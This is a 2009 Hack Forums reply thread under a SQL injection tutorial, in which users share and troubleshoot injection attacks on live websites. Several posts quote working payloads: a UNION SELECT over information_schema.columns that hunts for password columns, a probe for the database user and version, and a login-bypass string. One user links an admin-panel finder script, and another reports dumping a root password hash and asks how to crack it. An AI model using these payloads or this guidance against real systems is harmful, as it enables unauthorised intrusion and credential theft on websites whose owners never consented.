+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: Detailed Basic and Full SQL Injection Tutorial (/showthread.php?tid=50356)
- Zw4R - Apr 2, 2009
(Feb 9, 2009 02:01 AM)dan1el Wrote: =============================================================Daniel Is there any mistake in this sql query?coz your Query for version above 4 working fine for me.but when ever i am tryin this i am getting error.
www.xxxx.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
this should display the table containing the admin username and password
Quote:then see if you can get the admin panel if you cant then try the admin panel finder script here http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
where this text file should be used so that we can find Admin panel.can you throw some light regarding this.
Thanks!🙂
- StNightmare - Apr 6, 2009
thanks man good job on this ^-^ keep it up
- Nerv - Apr 7, 2009
(Apr 2, 2009 02:58 PM)Zw4R Wrote:dude if u cant even run a perl program why are you learning sql(Feb 9, 2009 02:01 AM)dan1el Wrote: =============================================================Daniel Is there any mistake in this sql query?coz your Query for version above 4 working fine for me.but when ever i am tryin this i am getting error.
www.xxxx.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
this should display the table containing the admin username and password
Quote:then see if you can get the admin panel if you cant then try the admin panel finder script here http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
where this text file should be used so that we can find Admin panel.can you throw some light regarding this.
Thanks!🙂
start with the basics like telnet hacking
u need 2 know how 2 program the language to hack it
i know php sql and im learning asp i am a webmaster and hacker
this is for all peeps out there!
- xenix - Apr 8, 2009
i found a vulnerable site, igot this error in "order by 1--"
mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/********
then i try union select 1--
and i so number "1" on the screen...
i was stop to the next step
http://www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--
i cant find the db type and version, can you hel me sir?
- lightman_86 - Apr 9, 2009
Love this tut!!! Read it half a million times.!
- Zw4R - Apr 11, 2009
Wit the help of your tut..i got a bunch of Passwrd hashes :) :) Thnks Dude..!!
root:[hash]
which is the best cracker to crack this hash?
[me reading your shell uploading tut now]
Attimes when i am tryin to rtrieve tables and columns i am getting only
CHARECTER_SET and CHARECTER_SET_NAME
what does this mean?
Attimes when i am tryin to rtrieve tables and columns i am getting only
CHARECTER_SET and CHARECTER_SET_NAME
what does this mean?
- Zw4R - Apr 11, 2009
at times while trying to retreive tables and columns i get only CHARECTER_SET as table and CHARECTER_SET_NAME as column. what does this mean?no other tables or columns?
- Riss - Apr 11, 2009
So. . .
Let's say i try ''') or ('x'='x ''
And then it dousn't work, do i need to test all of them?
- haxxxxy - Apr 11, 2009
great tut dan1el
keep it up.
- dmanza - Apr 14, 2009
awesome post, cheers for sharing buddy!!
- Skaraa - Apr 14, 2009
did i have to die ?
??
- Jpillz - Apr 14, 2009
lol no it's okay. :D
- [W4RL0CK] - Apr 15, 2009
nice tutorial man!!! cheers for the share :)
- [W4RL0CK] - Apr 15, 2009
what an awesome tutorial, cheers mate!!
- BonesInvalid - Apr 16, 2009
I dont really understand several parts you were trying to explain in your tutorial...
Like the "dork" search, am I searching the word Dork? Or what,
Than the URL part, am I putting thoes in at the end?